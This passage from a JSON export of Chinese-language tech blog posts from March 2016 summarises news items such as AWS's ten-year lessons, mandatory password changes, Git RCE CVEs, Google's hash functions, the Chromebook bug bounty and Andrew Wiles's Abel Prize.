    "body": "雖然還沒到十週年，但 <a href=\"https://www.amazon.com/\">Amazon</a> 的 CTO 還是寫下他對 <a href=\"https://aws.amazon.com/\">AWS</a> 十週年的想法了，也是這十年來學到的經驗：「<a href=\"http://www.allthingsdistributed.com/2016/03/10-lessons-from-10-years-of-aws.html\">10 Lessons from 10 Years of Amazon Web Services</a>」。\r\n\r\n<blockquote>The epoch of AWS is the launch of Amazon S3 on March 14, 2006, now almost 10 years ago.</blockquote>\r\n\r\n他所列出的十個主題分別是：\r\n\r\n<ul>\r\n\t<li>Build evolvable systems</li>\r\n\t<li>Expect the unexpected</li>\r\n\t<li>Primitives not frameworks</li>\r\n\t<li>Automation is key</li>\r\n\t<li>APIs are forever</li>\r\n\t<li>your resource usage</li>\r\n\t<li>Build security in from the ground up</li>\r\n\t<li>Encryption is a first-class citizen</li>\r\n\t<li>The importance of the network</li>\r\n\t<li>No gatekeepers</li>\r\n</ul>\r\n\r\n原來 AWS 也十年了...",
    "title": "Amazon 的 CTO 對 AWS 十週年的想法"
  },
  {
    "id": "6414",
    "body": "加州在規劃廢除日光節約時間：「<a href=\"http://qz.com/628655/california-could-drop-daylight-saving-time/\">California could drop Daylight Saving Time</a>」。\r\n\r\n<blockquote>A California lawmaker has introduced a bill to unshackle the Golden State from the horological chains of Daylight Saving Time.</blockquote>\r\n\r\n主要是沒有實質效益，甚至是與當初預期的反效果：\r\n\r\n<blockquote>Daylight saving time is observed in about 70 countries worldwide, but its benefits are the subject of much debate. While studies in the 1970s argued that it reduced energy usage, it’s no longer clear that’s the case. A 2011 study in Indiana found that electricity use rose in the state as a result of daylight saving.</blockquote>",
    "title": "加州在規劃廢除日光節約時間"
  },
  {
    "id": "6415",
    "body": "日本的研究團隊發現吃寶特瓶的細菌：「<a href=\"http://phys.org/news/2016-03-newly-bacteria-plastic-bottles.html\">Newly discovered bacteria can eat plastic bottles</a>」。\r\n\r\n<blockquote>A team of Japanese scientists has found a species of bacteria that eats the type of plastic found in most disposable water bottles.</blockquote>\r\n\r\n發表在 <a href=\"http://www.sciencemag.org/\">Science</a> 上：\r\n\r\n<blockquote>The discovery, published Thursday in the journal Science, could lead to new methods to manage the more than 50 million tons of this particular type of plastic produced globally each year.</blockquote>\r\n\r\n論文在「<a href=\"http://science.sciencemag.org/content/351/6278/1154\">Feeding on plastic</a>」這邊，吃的是 PET 寶特瓶。",
    "title": "日本的研究團隊發現吃寶特瓶的細菌"
  },
  {
    "id": "6416",
    "body": "在「<a href=\"http://www.wired.com/2016/03/want-safer-passwords-dont-change-often/\">Want Safer Passwords? Don't Change Them So Often</a>」這邊在討論改目前 password policy 會有要求一定時間要改密碼造成的問題。原報導出自 <a href=\"https://www.ftc.gov/\">美國聯邦貿易委員會</a> blog 上的「<a href=\"https://www.ftc.gov/news-events/blogs/techftc/2016/03/time-rethink-mandatory-password-changes\">Time to rethink mandatory password changes</a>」。\r\n\r\n當你強制要求改密碼時，由於因為是被逼的，他們不會放太多心力：\r\n\r\n<blockquote>Lorrie Cranor recently <a href=\"https://www.ftc.gov/news-events/blogs/techftc/2016/03/time-rethink-mandatory-password-changes\">outlined</a>, the weight of recent research agrees that when people are forced to change their passwords on the regular, they don’t put a whole lot of mental muscle behind it.</blockquote>\r\n\r\n而在沒有準備的情況下產生出來的密碼將會是比較容易預測的：\r\n\r\n<blockquote>Instead, Cranor notes, according to one UNC study, people “tended to create passwords that followed predictable patterns, called ‘transformations,’ such as incrementing a number, changing a letter to similar-looking symbol (for example changing an S to a $), adding or deleting a special character (for example, going from three exclamation points at the end of a password to two), or switching the order of digits or special characters (for example moving the numbers to the beginning instead of the end).”</blockquote>\r\n\r\n另外你應該鼓勵使用者用 password manager 管理密碼，雖然不是完美的，但至少是目前比較合理的方案：\r\n\r\n<blockquote>If for whatever reason you still can’t let go of making people change passwords as often as they turn the pages of their wall calendars, Cranor suggests that you at least encourage them to use a password manager, like LastPass or DashLane. They’re not perfect, but they can be a “very reasonable strategy” for coping, mostly because they don’t require people to balance unpredictable passwords with ones they can actually remember.</blockquote>",
    "title": "強迫要求使用者改密碼反而會不安全？"
  },
  {
    "id": "6417",
    "body": "在「<a href=\"http://weekly.codetengu.com/issues/33\">碼天狗週刊 #33</a>」上看到的「<a href=\"https://github.com/hirak/prestissimo\">prestissimo</a>」這個軟體，可以平行下載 <a href=\"https://getcomposer.org/\">Composer</a> 所需要的軟體而讓速度變快。作者測試 <a href=\"https://laravel.com/\">Laravel</a> 的安裝：\r\n\r\n<pre>$ composer create-project laravel/laravel laravel1 --no-progress --profile --prefer-dist</pre>\r\n\r\n從 288 秒變成 26 秒：(這種 benchmark 跟地點應該有關係，看作者似乎是日本人？不知道是不是在日本測的...)\r\n\r\n<img src=\"https://i.gslin.com/imgur/9E82YDB.gif\" alt=\"\" />\r\n\r\n感覺應該要變成 Composer 的內建功能才對？",
    "title": "用 prestissimo 加速 PHP Composer 的下載速度"
  },
  {
    "id": "6418",
    "body": "這是回應之前社群對 <a href=\"https://github.com/\">GitHub</a> 的請願 (or 抱怨？) 而生的新功能，(參考先前的文章「<a href=\"https://blog.gslin.org/archives/2016/02/18/6323/github-%E5%B0%8D-open-source-community-%E8%AB%8B%E9%A1%98%E7%9A%84%E5%9B%9E%E6%87%89/\">GitHub 對 Open Source Community 請願的回應</a>」)：「<a href=\"https://github.com/blog/2119-add-reactions-to-pull-requests-issues-and-comments\">Add Reactions to Pull Requests, Issues, and Comments</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/j74NrrK.gif\" alt=\"\" />\r\n\r\n這避免了在討論時大量的 +1 與導致混亂的情況。",
    "title": "GitHub 加上 +1 與 -1 功能 (順便加上表情符號)"
  },
  {
    "id": "6420",
    "body": "新的 <a href=\"https://aws.amazon.com/\">AWS</a> 帳號將會自動啟用長版的 Resource ID：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/03/new-accounts-default-to-long-ec2-resource-ids-on-march-7/\">New accounts default to long EC2 resource IDs on March 7</a>」。\r\n\r\n還是可以 opt-out 改回來，不過官方還是建議儘量用長的 ID 測試，因為今年年底將全面強迫使用：\r\n\r\n<blockquote>We recommend testing longer IDs before transitioning; however, if you have not yet tested your systems for compatibility with the longer format, you still have the option to opt out and receive shorter IDs until early December 2016.</blockquote>",
    "title": "新的 AWS 帳號將會自動啟用 Long EC2 Resource ID"
  },
  {
    "id": "6422",
    "body": "看到「<a href=\"https://github.com/alexjc/neural-doodle\">Neural Doodle</a>」這個專案，可以把塗鴉轉成帶有油畫筆觸的圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gs2HXmB.webp\" /><img src=\"https://i.gslin.com/imgur/gs2HXmB.jpg\" alt=\"\" /></picture>\r\n\r\n看起來是實作新的演算法：\r\n\r\n<blockquote>Use a deep neural network to borrow the skills of real artists and turn your two-bit doodles into masterpieces! This project is an implementation of <a href=\"http://arxiv.org/abs/1603.01768\">Semantic Style Transfer</a> (Champandard, 2016), based on the <a href=\"http://arxiv.org/abs/1601.04589\">Neural Patches</a> algorithm (Li, 2016).</blockquote>\r\n\r\n另外一組範例：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/aSADiJW.webp\" /><img src=\"https://i.gslin.com/imgur/aSADiJW.jpg\" alt=\"\" /></picture>\r\n\r\n程式可以用純 CPU 跑，也可以用 GPU 跑，不管哪種都很吃記憶體 XDDD",
    "title": "把塗鴉透過深度類神經網路轉成油畫..."
  },
  {
    "id": "6423",
    "body": "<a href=\"https://www.google.com/\">Google</a> 發表了三個 Hash 演算法的實作：「<a href=\"http://google-opensource.blogspot.com/2016/03/new-algorithms-may-lower-cost-of-secure.html\">New algorithms may lower the cost of secure computing</a>」。\r\n\r\n第一個是 <a href=\"https://en.wikipedia.org/wiki/SipHash\">SipHash</a> 的加速實作，透過 <a href=\"https://en.wikipedia.org/wiki/Advanced_Vector_Extensions\">AVX-2</a> 指令集加速，看維基百科的資料，2011 後的 <a href=\"http://www.intel.com/\">Intel</a>/<a href=\"https://www.amd.com/\">AMD</a> CPU 似乎都有提供這組指令集：\r\n\r\n<blockquote>Our first hash function produces the same output as SipHash, but 1.5 times as quickly thanks to AVX-2 instructions.</blockquote>\r\n\r\n第二個是 SipHash 的改良版，但輸出不同 (所以不是 SipHash)，但速度比 SipHash 更快：\r\n\r\n<blockquote>The second improvement uses j-lanes tree hashing to process multiple inputs in parallel, which is 3 times as fast. This technique is known to be secure, but produces different output than the original SipHash and is slightly slower for short inputs.</blockquote>\r\n\r\n第三個則是新的 Hash，速度比前兩者又更快了，但還需要有更多人分析才能確認安全性：\r\n\r\n<blockquote>HighwayHash is based on a new way of mixing inputs with just a few AVX-2 multiply and permute instructions. We are hopeful that the result is a cryptographically strong pseudorandom function, but new cryptanalysis methods might be needed for analyzing this promising family of hash functions. HighwayHash is significantly faster than SipHash for all measured input sizes, with about 7 times higher throughput at 1 KiB.</blockquote>\r\n\r\n三者的程式碼都可以在 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/google/highwayhash\">google/highwayhash</a>」找到，看 <a href=\"https://github.com/google/highwayhash/blob/master/LICENSE\">LICENSE</a> 檔案是 <a href=\"https://www.apache.org/licenses/LICENSE-2.0\">Apache License 2.0</a>。",
    "title": "Google 發表了三個 Hash 演算法的實作"
  },
  {
    "id": "6424",
    "body": "先前 <a href=\"https://www.mediawiki.org/\">MediaWiki</a> 所提供的「變更通知」都只有在信件裡「通知」，而沒有在信件裡列出「改變的內容」，這使得讀信的人要再點進去看... (於是就懶的點了)\r\n\r\n而前陣子看到有人寫了 extension 來輸出 diff，解決了這個問題：「<a href=\"http://blog.endpoint.com/2016/03/mediawiki-extension-emaildiff.html\">MediaWiki extension EmailDiff: notification emails improved</a>」。\r\n\r\n信裡變成有這樣的內容：\r\n\r\n<pre><small>Version differences:\r\n@@ -846,5 +887,3 @@\r\n In cattle, temperament can affect production traits such as carcass and meat \r\n quality or milk yield as well as affecting the animal's overall health and \r\n-reproduction. Cattle temperament is defined as \"the consistent behavioral and physiological \r\n-difference observed between individuals in response to a stressor or environmental \r\n+reproduction. If you succeed in tipping a cow only partway, such that only one \r\n+of its feet is still on the ground, you have created lean beef. Such a feat is \r\n+well done. Naturally, being outside, the cow is unstable. When it falls over, \r\n+it becomes ground beef. Cattle temperament is defined as \"the consistent behavioral \r\n+and physiological difference observed between individuals in response to a stressor or environmental \r\n challenge and is used to describe the relatively stable difference in the behavioral \r\n predisposition of an animal, which can be related to psychobiological mechanisms.</small></pre>\r\n\r\n這樣可讀性高非常多，來找人裝看看好了...",
    "title": "MediaWiki 的 EmailDiff 套件"
  },
  {
    "id": "6425",
    "body": "大家都花很多力氣在讓行動裝置上的體驗更好...\r\n\r\n去年十月 <a href=\"https://wordpress.com/\">WordPress</a> 支援 <a href=\"https://www.google.com/\">Google</a> 所發展出來的標準 <a href=\"https://www.ampproject.org/\">AMP</a> (Accelerated Mobile Pages)：「<a href=\"https://vip.wordpress.com/2015/10/07/mobile-web/\">Accelerating the Mobile Web</a>」。\r\n\r\n而前陣子則支援了 <a href=\"https://www.facebook.com/\">Facebook</a> 自家平台的標準 <a href=\"https://instantarticles.fb.com/\">Facebook Instant Articles</a>：「<a href=\"https://vip.wordpress.com/2016/03/07/new-wordpress-plugin-for-facebook-instant-articles/\">New: WordPress Plugin for Facebook Instant Articles</a>」。\r\n\r\n用 <a href=\"https://wordpress.org/\">WordPress</a> 的人可以直接使用...",
    "title": "WordPress 陸續推出了 AMP 與 Facebook Instant Article 的套件"
  },
  {
    "id": "6426",
    "body": "<a href=\"https://developers.google.com/v8/\">V8</a> JavaScript 引擎宣佈支援 <a href=\"https://en.wikipedia.org/wiki/WebAssembly\">WebAssembly</a>：「<a href=\"http://v8project.blogspot.com/2016/03/experimental-support-for-webassembly.html\">Experimental support for WebAssembly in V8</a>」。\r\n\r\n依照說明，看起來在 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 51 之後的版本 (目前是在 <a href=\"https://www.google.com/chrome/browser/canary.html\">Chrome Canary</a>) 可以打開 <code>chrome://flags#enable-webassembly</code> 啟用 WebAssembly 測試。\r\n\r\n目前還是只有想到電玩遊戲之類的用途...",
    "title": "V8 JavaScript 引擎將支援 WebAssembly"
  },
  {
    "id": "6427",
    "body": "<a href=\"https://www.linode.com/\">Linode</a> 宣佈從五月開始全面使用 <a href=\"http://www.linux-kvm.org/\">KVM</a>，新的機器將無法選擇 <a href=\"http://www.xenproject.org/\">Xen</a>：「<a href=\"https://blog.linode.com/2016/03/15/kvm-update/\">KVM Update</a>」。\r\n\r\n原有的 Xen 機器還是會繼續跑，但將會集中起來：\r\n\r\n<blockquote>Existing Xen-based Linodes will be fine. However, in the near future we will begin to consolidate Xen Linodes onto fewer physical servers, which will mean scheduled migrations with periods of downtime. Don’t worry – if you will be affected, we’ll provide plenty of advance notice when those migrations are planned.</blockquote>\r\n\r\nLinode 的 KVM 的確快不少，我猜也跟硬體升級有關吧，畢竟就其他單位看到的數據應該是沒有這麼高的幅度。",
    "title": "Linode 將全面使用 KVM"
  },
  {
    "id": "6428",
    "body": "<a href=\"https://www.google.com/\">Google</a> 在「<a href=\"https://security.googleblog.com/2016/03/securing-web-together_15.html\">Securing the web, together</a>」這邊展現了對 HTTPS 化的努力。這是 Google 所有服務的 HTTPS 比率：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9Zm4Bld.webp\" /><img src=\"https://i.gslin.com/imgur/9Zm4Bld.jpg\" alt=\"\" /></picture>\r\n\r\n我以為 <a href=\"https://www.youtube.com/\">YouTube</a> 上 HTTPS 後會有壓倒性的比率... 所以這應該不是 bytes 比率？",
    "title": "Google 對 HTTPS 化的努力"
  },
  {
    "id": "6429",
    "body": "在「<a href=\"https://ma.ttias.be/remote-code-execution-git-versions-client-server-2-7-1-cve-2016-2324-cve-2016-2315/\">Remote Code Execution in all git versions (client + server) < 2.7.1: CVE-2016-2324, CVE-2016‑2315</a>」這邊看到歡樂的 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2315\">CVE-2016-2315</a> 與 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2324\">CVE-2016-2324</a>，屬於 <a href=\"https://en.wikipedia.org/wiki/Arbitrary_code_execution\">RCE</a> 類漏洞。\r\n\r\n<a href=\"https://git-scm.com/\">Git</a> 2.7.1 之前的所有版本都有問題，看起來由於問題過於大條，在 2016/02/06 發表的「<a href=\"https://github.com/git/git/blob/master/Documentation/RelNotes/2.7.1.txt\">Git v2.7.1 Release Notes</a>」沒有標出這兩個 CVE，讓所有 vendor 有時間升級。\r\n\r\n不過看起來 <a href=\"https://about.gitlab.com/\">GitLab</a> 不在被通知的 vendor 裡面，很無奈的在 CVE 公開後馬上推出新版，需要升級到最新版本：「<a href=\"https://about.gitlab.com/2016/03/16/gitlab-8-dot-5-dot-7-released/\">GitLab 8.5.7 Released</a>」。",
    "title": "Git 的安全性問題"
  },
  {
    "id": "6430",
    "body": "花了七年時間研究後，1993 年第一次發表，到 1994 年完整的證明了<a href=\"https://zh.wikipedia.org/wiki/%E8%B4%B9%E9%A9%AC%E5%A4%A7%E5%AE%9A%E7%90%86\">費馬最後定理</a>，終於讓他拿到這個獎項了：「<a href=\"http://edition.cnn.com/2016/03/16/europe/fermats-last-theorem-solved-math-abel-prize/index.html\">Professor wins $700k for solving 300-year-old math equation</a>」，<a href=\"http://www.abelprize.no/\">Abel Prize</a> 的官方公告在「<a href=\"http://www.abelprize.no/nyheter/vis.html?tid=67106\">Sir Andrew J. Wiles receives the Abel Prize</a>」這裡。\r\n\r\n<img src=\"https://i.gslin.com/imgur/imc8xK3.jpg\" alt=\"\" />\r\n\r\n<a href=\"http://www.mathunion.org/general/prizes/fields/details\">Field Medal</a> 與 Abel Prize 是數學領域的兩個最高獎項。\r\n\r\n由於 Fields Medal 有 40 歲的限制，而 Andrew Wiles 在成功證明最後定理是 1994。由於他出生於 1953，也就是說當他成功證明時已經超過 40 歲，無緣獲頒 Fields Medal，在 Abel Prize 成立後就有不少人覺得遲早會讓他拿到... 而 2016 年總算讓他拿到了。",
    "title": "Andrew Wiles 以費馬最後定理獲得 2016 Abel Prize"
  },
  {
    "id": "6431",
    "body": "<a href=\"https://www.google.com/\">Google</a> 決定加倍對 <a href=\"https://www.google.com/chromebook/\">Chromebook</a> 訪客模式下攻陷系統的獎金：「<a href=\"http://venturebeat.com/2016/03/14/after-0-successful-submissions-google-doubles-top-reward-for-hacking-a-chromebook-to-100000/\">After 0 successful submissions, Google doubles top reward for hacking a Chromebook to $100,000</a>」。\r\n\r\n原先是五萬美金：\r\n\r\n<blockquote>Last year, Google introduced a $50,000 reward for the persistent compromise of a Chromebook in guest mode. The company’s security team says it hasn’t received a single successful submission.</blockquote>\r\n\r\n提升到十萬美金：\r\n\r\n<blockquote>As such, Google has doubled the bounty, which was already the top Chrome reward, to $100,000. The company really wants someone to hack Chrome OS to pieces. “That said, great research deserves great awards, so we’re putting up a standing six-figure sum, available all year round with no quotas and no maximum reward pool,” Google declared.</blockquote>",
    "title": "Google 加倍對 Chromebook 訪客模式的攻擊獎金"
  },
  {
    "id": "6432",
    "body": "雖然才 Beta 1，但 <a href=\"https://www.openssl.org/\">OpenSSL</a> 先放出 1.1.0 的 Release Notes 了：「<a href=\"https://www.openssl.org/news/openssl-1.1.0-notes.html\">OpenSSL 1.1.0 Series Release Notes</a>」。\r\n\r\n有幾個新的功能以及重大的改變，包括了對 <a href=\"https://tools.ietf.org/html/rfc7539\">ChaCha20</a> 與 <a href=\"https://tools.ietf.org/html/rfc7539\">Poly1305</a> 的支援，並且把 SSLv2、<a href=\"https://en.wikipedia.org/wiki/RC4\">RC4</a>、所有 40bits 與 56bits 的 cipher 拔掉，然後支援 <a href=\"https://www.certificate-transparency.org/\">Certificate Transparency</a>。\r\n\r\n讓人頗期待... 不知道來不來得及跟上 <a href=\"https://wiki.ubuntu.com/XenialXerus/ReleaseNotes\">Ubuntu 16.04</a>？",
    "title": "OpenSSL 1.1.0 的 Release Notes 先放出來了 (現在是 Beta 1)"
  },
  {
    "id": "6434",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 正式向所有使用者開放「<a href=\"https://aws.amazon.com/dms/\">AWS Database Migration Service</a>」了：「<a href=\"https://aws.amazon.com/blogs/aws/aws-database-migration-service/\">AWS Database Migration Service</a>」。\r\n\r\nAWS 把前置作業 (setup &amp; initial backup) 與 replication 的部份都包好，讓使用者可以很輕鬆的轉移。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tzfB2dE.webp\" /><img src=\"https://i.gslin.com/imgur/tzfB2dE.jpg\" alt=\"\" /></picture>\r\n\r\n支援的來源資料庫種類包括了這五種：\r\n\r\n<blockquote>Supported database sources include: (1) Oracle, (2) SQL Server, (3) MySQL, (4) Amazon Aurora and (5) PostgreSQL. All sources are supported on-premises, in EC2, and RDS except Amazon Aurora which is available only in RDS.</blockquote>\r\n\r\n支援的目的資料庫種類也包括了這五種：\r\n\r\n<blockquote>Supported database targets include: (1) Amazon Aurora, (2) Oracle, (3) SQL Server, (4) MySQL, and (5) PostgreSQL. All Oracle, SQL Server, MySQL and Postgres targets are supported on-premises, in EC2 and RDS.</blockquote>\r\n\r\n所以不只可以搬進 AWS，也透過在 EC2 instance 上架 Proxy 的方式搬出 AWS。比較特別的是可以不同 database 互轉？這好像可以玩玩看...\r\n\r\n轉移的機器包括 t2.* 與 c4.* 兩種，一般來說 t2 系列的機器應該夠用，但如果要拼轉移速度的話可以拿 c4 出來撐場面。",
    "title": "AWS Database Migration Service"
  },
  {
    "id": "6435",
    "body": "<a href=\"https://github.com/\">GitHub</a> 宣佈支援 HTTP Code 451 了：「<a href=\"https://developer.github.com/changes/2016-03-17-the-451-status-code-is-now-supported/\">The 451 status code is now supported</a>」。也就是 <a href=\"https://tools.ietf.org/html/rfc7725\">RFC 7725</a> 的「An HTTP Status Code to Report Legal Obstacles」。\r\n\r\n目前會把因為 DMCA takedown notice 下架的內容以 HTTP Code 451 標出：\r\n\r\n<blockquote>The GitHub API will now respond with a 451 status code for resources it has been asked to take down due to a DMCA notice.</blockquote>\r\n\r\nHTTP Code 451 的點子出自「<a href=\"https://zh.wikipedia.org/wiki/%E8%8F%AF%E6%B0%8F451%E5%BA%A6\">華氏 451 度</a>」這本書，表示紙的燃點。",
    "title": "GitHub 支援 HTTP Code 451 了..."
  },
  {
    "id": "6436",
    "body": "在「<a href=\"http://rhaas.blogspot.com/2016/03/no-more-full-table-vacuums.html\">No More Full-Table Vacuums</a>」這邊提到了 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 在 vacuum 時效能的大幅改善，尤其是大型資料庫在 vacuum 時需要對整個表格從頭到尾掃一次以確保 transaction id 的正確性：\r\n\r\n<blockquote>Current releases of PostgreSQL need to read every page in the database at least once every 2 billion write transactions (less, with default settings) to verify that there are no old transaction IDs on that page which require \"freezing\".</blockquote>\r\n\r\n這動作在資料量大的機器上就會吃大量資源導致各種討厭的現象：\r\n\r\n<blockquote>All of a sudden, when the number of transaction IDs that have been consumed crosses some threshold, autovacuum begins processing one or more tables, reading every page.  This consumes much more I/O bandwidth, and exerts much more cache pressure on the system, than a standard vacuum, which reads only recently-modified page.</blockquote>\r\n\r\n而作者送了 patch 改成只會讀還沒搞定的部份：\r\n\r\n<blockquote>Instead of whole-table vacuums, we now have aggressive vacuums, which will read every page in the table that isn't already known to be entirely frozen.</blockquote>\r\n\r\n要注意的是，agreesive vacuum 相較於 vacuum 會多吃很多資源，但可以打散掉 (有點像一次大 GC 導致 lag 與多次 minor GC 讓程式反應時間變得比較順暢的比較)：\r\n\r\n<blockquote>An aggressive vacuum still figures to read more data than a regular vacuum, possibly a lot more.  But at least it won't read the data that hasn't been touched since the last aggressive vacuum, and that's a big improvement.</blockquote>\r\n\r\n這個功能預定在 PostgreSQL 9.6 出現，不知道會不會變 default...",
    "title": "PostgreSQL 對 Vacuum 效能的改善"
  },
  {
    "id": "6437",
    "body": "<a href=\"https://stackoverflow.com/\">Stack Overflow</a> 對開發者發問卷後把結果整理出來了：「<a href=\"https://stackoverflow.com/research/developer-survey-2016\">Stack Overflow Developer Survey 2016 Results</a>」，約 56k 個樣本數：\r\n\r\n<blockquote>This year, 56,033 coders in 173 countries answered the call.</blockquote>\r\n\r\n整個問卷分成五塊區域：Overview、Developer Profile、Technology、Work、Community，其中 Overview 的部份是給時間不多的人看的，整理了一些比較特別或是有趣的重點：\r\n\r\n<blockquote>Most developers prefer dogs to cats. (But not developers in Germany.)</blockquote>\r\n\r\n(唔？)\r\n\r\n要注意的是，問卷只有英文版本，所以這份問卷明顯對於英文非母語的開發者會有比較低的填寫意願，會造成統計偏差問題，所以在讀之前要注意到：\r\n\r\n<blockquote>Surveys aren’t perfect. While our large sample size helps offset some biases, it’s still biased against devs who don't speak English, or who don't like taking English-language surveys.</blockquote>\r\n\r\n另外是有女性對這份問卷表示不滿：「<a href=\"https://medium.com/@glitterwitch/stack-overflow-s-developer-survey-analysis-hurts-women-ec4d568e2352\">Stack Overflow’s developer survey analysis hurts women</a>」，尤其是 Stack Overflow 標示了只有 5.8% 的女性，這會導致女性樣本數在答案細分族群時的統計偏差的問題會很嚴重。\r\n\r\n另外這篇文章的作者也對 Stack Overflow 裡的結論很不滿意。\r\n\r\n回到原來文章，有些東西還蠻有趣的：\r\n\r\n<ul>\r\n\t<li><a href=\"https://stackoverflow.com/research/developer-survey-2016#star-wars-vs-star-trek\">Star Wars vs. Star Trek</a></li>\r\n\t<li><a href=\"https://stackoverflow.com/research/developer-survey-2016#technology-development-environments\">Development Environments</a> (唔，Notepad++？)</li>\r\n\t<li><a href=\"https://stackoverflow.com/research/developer-survey-2016#technology-desktop-operating-system\">Desktop Operating System</a> (唔，Linux 這麼高？)</li>\r\n\t<li><a href=\"https://stackoverflow.com/research/developer-survey-2016#money-matters-more-in-some-countries\">Money Matters More in Certain Countries</a></li>\r\n\t<li><a href=\"https://stackoverflow.com/research/developer-survey-2016#work-challenges-at-work\">Challenges At Work</a> (每一個都頗寫實？)</li>\r\n</ul>\r\n\r\n其中 <a href=\"https://stackoverflow.com/research/developer-survey-2016#work-salary\">Salary</a> 這段應該是很多人都有動力去讀一讀了解的，裡面還包括了各地區與麥當勞的<a href=\"https://zh.wikipedia.org/wiki/%E5%B7%A8%E7%84%A1%E9%9C%B8%E6%8C%87%E6%95%B8\">大麥克指數</a>的相對數值分析，讓你有個參考值可以感覺。",
    "title": "Stack Overflow 做的 Developer Survey 2016"
  },
  {
    "id": "6438",
    "body": "在經過最近 <a href=\"https://www.fbi.gov/\">FBI</a> 與 <a href=\"https://www.apple.com/\">Apple</a> 的戰鬥中 (<a href=\"https://en.wikipedia.org/wiki/FBI%E2%80%93Apple_encryption_dispute\">FBI–Apple encryption dispute</a>)，Apple 正規劃把 <a href=\"https://www.icloud.com/\">iCloud</a> 加密所使用的 key 放到用戶端裝置上，而非放在伺服器端：「<a href=\"http://www.eweek.com/security/apple-to-hand-icloud-encryption-key-management-to-account-holders.html\">Apple to Hand iCloud Encryption Key Management to Account Holders</a>」：\r\n\r\n<blockquote>In effect, Apple is following the lead of secure cloud services such as SpiderOak which has been offering what it calls “Zero Knowledge” cloud storage. By that, SpiderOak retains no information about whatever is stored in its cloud service, nor the means of gaining access to it.</blockquote>\r\n\r\n也就是加解密都放在 client 端處理，server 端只是 storage。\r\n\r\n這類型最大的問題是 server 端沒辦法運用資料，但 iCloud 的確可以放掉這些功能 (搜尋之類的)，純粹當 storage 使用，藉以讓使用者自己裝置保護。\r\n\r\n而蘋果在使用者的裝置上把類似於 <a href=\"https://en.wikipedia.org/wiki/Hardware_security_module\">HSM</a> 的系統做的頗強大... 不知道 <a href=\"https://www.android.com/\">Android</a> 有沒有機會也跟進。(雖然我自己是用 Apple 家的東西...)",
    "title": "Apple 打算把 iCloud 加密用的 Key 放到用戶端"
  },
  {
    "id": "6439",
    "body": "看到 <a href=\"https://www.google.com/\">Google</a> 推出 <a href=\"https://github.com/google/binnavi\">BinDiff</a> 時以為是某種對 binary 檔案產生類似 diff 結果的軟體 (像是 <a href=\"http://www.daemonology.net/bsdiff/\">bsdiff</a> 這樣的東西)，仔細看才發現是跟資安有關的東西：「<a href=\"https://security.googleblog.com/2016/03/bindiff-now-available-for-free.html\">BinDiff now available for free</a>」。\r\n\r\n可以用在只有 binary 的情況下，快速找出有哪些 assembly code 有差異，進而讓人可以更快的分析。資安分析可以透過這個工具加速。相同的，也可以透過這個工具看出 vendor patch 實際上修了什麼東西：\r\n\r\n<blockquote>BinDiff is a comparison tool for binary files that helps to quickly find differences and similarities in disassembled code. It is used by security researchers and engineers across the globe to identify and isolate fixes for vulnerabilities in vendor-supplied patches and to analyze multiple versions of the same binary.</blockquote>\r\n\r\n而另外一個用途則是快速分類，把相同的 malware 集合起來，降低重複分析的時間：\r\n\r\n<blockquote>Another common use case is to transfer analysis results from one binary to another, helping to prevent duplicate analyses of, for example, malware binaries.</blockquote>\r\n\r\n目前支援的 assembly 指令集包括了這些：\r\n\r\n<blockquote>Compare binary files for x86, MIPS, ARM/AArch64, PowerPC, and other architectures.</blockquote>\r\n\r\n從原始文章可以看到還有 flowchart 分析：\r\n\r\n<img src=\"https://i.gslin.com/imgur/looyHWH.jpg\" alt=\"\" />\r\n\r\n不過這是配合其他 <a href=\"https://www.hex-rays.com/products/ida/\">Hex-Rays IDA</a> 的 Professional 版本產生的結果分析，官網報價一套是 USD$1129。\r\n\r\n<blockquote>To use it, you also need the commercial Hex-Rays IDA Pro disassembler, 6.8 or later.</blockquote>",
    "title": "Google 推出 BinDiff 分析惡意軟體"
  },
  {
    "id": "6440",
    "body": "在「<a href=\"http://www.acgdoge.net/archives/7414\">造福同人，吉卜力使用的动画制作软件宣布开源化</a>」這邊看到的，搜了一下相關的新聞，可以在「<a href=\"http://www.awn.com/news/open-source-animation-production-software-opentoonz-available-march-26\">Open-Source Animation Production Software OpenToonz Available March 26</a>」看到說明。\r\n\r\n而「<a href=\"https://opentoonz.github.io/\">アニメーション制作ツールの オープンソースプロジェクト</a>」這邊也有相關的消息，預定在 3/26 舉辦的 <a href=\"https://www.anime-japan.jp/\">AnimeJapan 2016</a> 有進一步的發表，到時候再來追進度...",
    "title": "吉卜力將放出作畫所使用的軟體原始碼"
  },
  {
    "id": "6442",
    "body": "<a href=\"https://www.nasa.gov/\">NASA</a> 的 <a href=\"http://www.jpl.nasa.gov/\">JPL</a> 回答了他們所使用的圓周率：「<a href=\"http://www.jpl.nasa.gov/edu/news/2016/3/16/how-many-decimals-of-pi-do-we-really-need/\">How Many Decimals of Pi Do We Really Need?</a>」。\r\n\r\n答案是小數下十五位：\r\n\r\n<blockquote>For JPL's highest accuracy calculations, which are for interplanetary navigation, we use 3.141592653589793.</blockquote>\r\n\r\n先拿目前離地球最遠的人造物 <a href=\"https://en.wikipedia.org/wiki/Voyager_1\">Voyager 1</a> 來舉例，約 201 億公里 (125 億英里) 的距離，使用這個小數下 15 位的圓周率，與實際的圓周率算出來的誤差只有 3.81 公分 (1.5 英寸)：\r\n\r\n<blockquote>The most distant spacecraft from Earth is Voyager 1. It is about 12.5 billion miles away.</blockquote>\r\n\r\n<blockquote>It turns out that our calculated circumference of the 25 billion mile diameter circle would be wrong by 1.5 inches. Think about that. We have a circle more than 78 billion miles around, and our calculation of that distance would be off by perhaps less than the length of your little finger.</blockquote>\r\n\r\n另外還舉了地球與整個宇宙的數字來計算，需要的精確度沒有想像中那麼大 XD",
